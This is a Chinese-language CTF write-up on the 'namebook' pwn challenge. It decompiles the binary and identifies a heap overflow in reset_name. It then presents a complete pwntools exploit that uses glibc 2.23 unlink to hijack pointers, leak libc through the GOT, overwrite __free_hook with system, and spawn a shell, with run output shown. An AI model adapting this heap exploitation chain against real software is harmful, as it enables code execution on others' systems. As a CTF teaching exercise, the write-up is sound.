namebook 简单的unlink利用
TOC
1. 前言 1.1. demo.c 2. 题目 2.1. 功能介绍 3. 漏洞 4. 思路
源程序:namebook ,IDA分析文件:namebook.i64 ,该pwn题需要基本的unlink的知识,本文部分借鉴自大佬 钞sir https://blog.csdn.net/qq_40827990/article/details/88257642 的博客。下面的测试环境全是glibc-2.23,建议不要在glibc-2.26或更大的环境测试(因为tcache机制)。
前言 在开始之前先用一段代码来简单的看看unlink的实现:
demo.c #include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdio.h> struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10 ]; }; int main () { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20 ]; struct chunk_structure *chunk1_hdr; struct chunk_structure *chunk3_hdr; chunk1 = malloc (0x80 ); chunk2 = malloc (0x80 ); printf ("%p\n" , &chunk1); printf ("%p\n" , chunk1); printf ("%p\n" , chunk2); chunk1_hdr = (struct chunk_structure *)(chunk1 - 2 ); fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3 ); fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2 ); chunk2_hdr = (struct chunk_structure *)(chunk2 - 2 ); chunk2_hdr->prev_size = 0x80 ; chunk2_hdr->size &= ~1 ; free (chunk2); printf ("%p\n" , chunk1); printf ("%x\n" , chunk1[3 ]); chunk3_hdr = (struct chunk_structure *)(chunk1 - 2 ); chunk1[3 ] = (unsigned long long )data; strcpy (data, "Victim's data" ); chunk1[0 ] = 0x002164656b636168 LL; printf ("%s\n" , data); return 0 ; }
unlike确实有点抽象,可以用这个典型的unlike代码先进行调试,这样子可以对unlink有较好的理解,运行结果:
ex@ubuntu:~/test$ gcc -o demo demo.c demo.c: In function ‘main’: demo.c:51:12: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘long long unsigned int’ [-Wformat=] printf("%x\n", chunk1[3]); ^ ex@ubuntu:~/test$ ./demo 0x7ffc63f821e0 0x134d010 0x134d0a0 0x7ffc63f821c8 63f821c8 hacked!
题目 该pwn题主要考验对unlink的基本使用。
功能介绍 int print_menu () { setbuf (stdout, 0LL ); signal (14 , handler); alarm (0x3C u); puts ("NameBook--v1.0" ); puts ("1.set name" ); puts ("2.delete name" ); puts ("3.get name" ); puts ("4.reset name" ); return puts ("5.exit" ); }
主要是四个功能:set_name,delete_name,get_name,reset_name。
set_name
int set_name () { int v1; printf ("index:" ); v1 = get_number (); if ( v1 > 9 ) return puts ("invalid range" ); ptr[v1] = (char *)malloc (128uLL ); printf ("name:" ); gets_1 ((__int64)ptr[v1], 128u ); return puts ("done." ); }
这里有个明显的off-by-one漏洞,理论上也可以用用这个漏洞来做,有能力的师傅可以尝试从这里切入。
gets_1
__int64 __fastcall gets_1 (__int64 a1, unsigned int a2) { __int64 result; signed int i; for ( i = 0 ; ; ++i ) { result = (unsigned int )i; if ( i >= a2 ) break ; if ( read (0 , (void *)(i + a1), 1uLL ) < 0 ) exit (-1 ); if ( *(_BYTE *)(i + a1) == 10 ) { result = i + a1; *(_BYTE *)result = 0 ; return result; } } return result; }
上面的输入程序可以溢出两字节,一个是off-by-one,一个是将最后一字节设为0。
delete_name
int delete_name () { int v1; printf ("index:" ); v1 = get_number (); if ( v1 > 9 || !ptr[v1] ) return puts ("invalid range" ); free (ptr[v1]); ptr[v1] = 0LL ; return puts ("done." ); }
这里将free后的指针设为NULL了,所以很难利用UAF漏洞。
get_name
int get_name () { int v1; printf ("index:" ); v1 = get_number (); if ( v1 > 9 || !ptr[v1] ) return puts ("invalid range" ); puts (ptr[v1]); return puts ("done." ); }
打印ptr[i]里面的内容,一般是用来泄露基地址的。
reset_name
int reset_name () { int v1; printf ("index:" ); v1 = get_number (); if ( v1 > 9 || !ptr[v1] ) return puts ("invalid range" ); printf ("name:" ); gets_1 ((__int64)ptr[v1], 256u ); return puts ("done." ); }
重设内容,前面在set_name我们看到了申请的是128字节,但是这里却允许改256个字节,很明显这里存在堆溢出。
漏洞 该程序的漏洞主要集中在reset_name里的堆溢出,由于我们可以输入超过它自身chunk大小的字节数,所以可以覆盖到下一个chunk,这样就刚好有了unlink的基本条件。
思路
使用unlink漏洞控制ptr指针
泄露基地址,计算system
劫持__free_hook
getshell
使用unlink漏洞控制ptr指针
set_name(2 ,'' ) set_name(3 ,'' ) layout = [ p64(0 ), p64(0x80 ), p64(ptr_addr - 3 * SIZE_T), p64(ptr_addr - 2 * SIZE_T), 'a' * SIZE_T * 12 , p64(0x80 ), p64(0x90 ) ] print (hexdump(flat(layout)))reset_name(2 ,flat(layout)) delete_name(3 )
劫持的是ptr[2]指针,具体原理可以参照上面的unlink实验代码。
泄露基地址,计算system
layout = [ 'a' * (24 - SIZE_T * 2 ), p64(elf.got['exit' ]) ] reset_name(2 ,flat(layout)) log.info('Get the leak informaiton' ) leak_info = get_name(0 ) print (hexdump(leak_info))leak_info = leak_info.ljust(8 ,'\x00' ) libc_addr = u64(leak_info) - libc.symbols['exit' ] log.success('libc_addr: ' + hex (libc_addr)) system_addr = libc_addr + libc.symbols['system' ] log.success('system_addr: ' + hex (system_addr)) __free_hook_offset = 0x3c67a8 __free_hook_addr = libc_addr + __free_hook_offset log.success('__free_hook_addr: ' + hex (__free_hook_addr))
如下所示__free_hook的地址偏移需要根据不同的环境自己计算,具体的计算方式如下:
ex@ubuntu:~/test$ gdb ./namebook pwndbg: loaded 175 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) Reading symbols from ./namebook...(no debugging symbols found)...done. pwndbg> b main Function "main" not defined. pwndbg> b *0x400B9D Breakpoint 1 at 0x400b9d pwndbg> r Starting program: /home/ex/test/namebook Breakpoint 1, 0x0000000000400b9d in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────── RAX 0x400b9d ◂— push rbp RBX 0x0 RCX 0x0 RDX 0x7fffffffe438 —▸ 0x7fffffffe6b9 ◂— 'LC_PAPER=zh_CN.UTF-8' RDI 0x1 RSI 0x7fffffffe428 —▸ 0x7fffffffe6a2 ◂— '/home/ex/test/namebook' R8 0x400c90 ◂— ret R9 0x7ffff7de7ac0 (_dl_fini) ◂— push rbp R10 0x8e R11 0x7ffff7b95300 ◂— in al, dx R12 0x400780 ◂— xor ebp, ebp R13 0x7fffffffe420 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x400c20 ◂— push r15 RSP 0x7fffffffe348 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax RIP 0x400b9d ◂— push rbp ──────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────── ► 0x400b9d push rbp 0x400b9e mov rbp, rsp 0x400ba1 mov eax, 0 0x400ba6 call 0x400948 0x400bab mov edi, 0x3e 0x400bb0 call 0x400718 0x400bb5 mov eax, 0 0x400bba call 0x4008f0 0x400bbf cmp eax, 5 0x400bc2 ja 0x400c0a 0x400bc4 mov eax, eax ───────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffe348 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax 01:0008│ 0x7fffffffe350 ◂— 0x1 02:0010│ 0x7fffffffe358 —▸ 0x7fffffffe428 —▸ 0x7fffffffe6a2 ◂— '/home/ex/test/namebook' 03:0018│ 0x7fffffffe360 ◂— 0x1f7ffcca0 04:0020│ 0x7fffffffe368 —▸ 0x400b9d ◂— push rbp 05:0028│ 0x7fffffffe370 ◂— 0x0 06:0030│ 0x7fffffffe378 ◂— 0xa0975abb1ff25e54 07:0038│ 0x7fffffffe380 —▸ 0x400780 ◂— xor ebp, ebp ─────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────── ► f 0 400b9d f 1 7ffff7a2d830 __libc_start_main+240 Breakpoint *0x400B9D pwndbg> p &__free_hook $ 1 = (void (**)(void *, const void *)) 0x7ffff7dd37a8 <__free_hook> pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x401000 r-xp 1000 0 /home/ex/test/namebook 0x601000 0x602000 r--p 1000 1000 /home/ex/test/namebook 0x602000 0x603000 rw-p 1000 2000 /home/ex/test/namebook 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7fdd000 0x7ffff7fe0000 rw-p 3000 0 0x7ffff7ff8000 0x7ffff7ffa000 r--p 2000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall] pwndbg> p/x 0x7ffff7dd37a8 - 0x7ffff7a0d000 $ 2 = 0x3c67a8 pwndbg>
这个方法比较笨,或许pwntools有函数可以直接获得。
劫持__free_hook
layout = [ 'a' * (24 - SIZE_T * 2 ), p64(__free_hook_addr) ] reset_name(2 ,flat(layout)) reset_name(0 ,p64(system_addr))
unlink之后偏移了24个字节,由于劫持的ptr[2],所以还要向前偏移2个机器字长(前面的两个指针),然后才能覆盖到ptr[0]。
get_shell
# get_shell sh.sendline('2\n4')
下面的完整代码会显示在刚开始的时候我们就将ptr[4]设为’/bin/sh’,所以这里可以直接使用。
完整代码
from pwn import *sh = process('./namebook' ) elf = ELF('./namebook' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) ptr_addr = 0x602040 + 8 * 2 SIZE_T = 8 log.info('&ptr[2]_addr: ' + hex (ptr_addr)) def set_name (index, name ): sh.sendline('1' ) sh.recvuntil(':' ) sh.sendline(str (index)) sh.recvuntil(':' ) sh.sendline(name) sh.recvuntil('>' ) def delete_name (index ): sh.sendline('2' ) sh.recvuntil(':' ) sh.sendline(str (index)) sh.recvuntil('>' ) def get_name (index ): sh.sendline('3' ) sh.recvuntil(':' ) sh.sendline(str (index)) result = sh.recvuntil('>' ) return result[:-8 ] def reset_name (index, name ): sh.sendline('4' ) sh.recvuntil(':' ) sh.sendline(str (index)) sh.recvuntil(':' ) sh.sendline(name) sh.recvuntil('>' ) sh.recvuntil('>' ) set_name(4 , '/bin/sh' ) set_name(2 , '' ) set_name(3 , '' ) layout = [ p64(0 ), p64(0x80 ), p64(ptr_addr - 3 * SIZE_T), p64(ptr_addr - 2 * SIZE_T), 'a' * SIZE_T * 12 , p64(0x80 ), p64(0x90 ) ] print (hexdump(flat(layout)))reset_name(2 , flat(layout)) delete_name(3 ) layout = [ 'a' * (24 - SIZE_T * 2 ), p64(elf.got['exit' ]) ] reset_name(2 , flat(layout)) log.info('Get the leak informaiton' ) leak_info = get_name(0 ) print (hexdump(leak_info))leak_info = leak_info.ljust(8 , '\x00' ) libc_addr = u64(leak_info) - libc.symbols['exit' ] log.success('libc_addr: ' + hex (libc_addr)) system_addr = libc_addr + libc.symbols['system' ] log.success('system_addr: ' + hex (system_addr)) __free_hook_offset = 0x3c67a8 __free_hook_addr = libc_addr + __free_hook_offset log.success('__free_hook_addr: ' + hex (__free_hook_addr)) layout = [ 'a' * (24 - SIZE_T * 2 ), p64(__free_hook_addr) ] reset_name(2 , flat(layout)) reset_name(0 , p64(system_addr)) sh.sendline('2\n4' ) sh.interactive()
运行结果
ex@ubuntu:~/test$ ./exp.py [+] Starting local process './namebook': pid 8561 [*] '/home/ex/test/namebook' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 0x601ff8 [*] &ptr[2]_addr: 0x602050 00000000 00 00 00 00 00 00 00 00 80 00 00 00 00 00 00 00 │····│····│····│····│ 00000010 38 20 60 00 00 00 00 00 40 20 60 00 00 00 00 00 │8 `·│····│@ `·│····│ 00000020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ * 00000080 80 00 00 00 00 00 00 00 90 00 00 00 00 00 00 00 │····│····│····│····│ 00000090 [*] Get the leak informaiton 00000000 30 30 2f 37 aa 7f │00/7│··│ 00000006 [+] libc_addr: 0x7faa372b9000 [+] system_addr: 0x7faa372fe390 [+] __free_hook_addr: 0x7faa3767f7a8 [*] Switching to interactive mode index:$ echo hello world hello world $
总结
不会就多问问师傅们,或者自己上机调试一遍,实践出真知。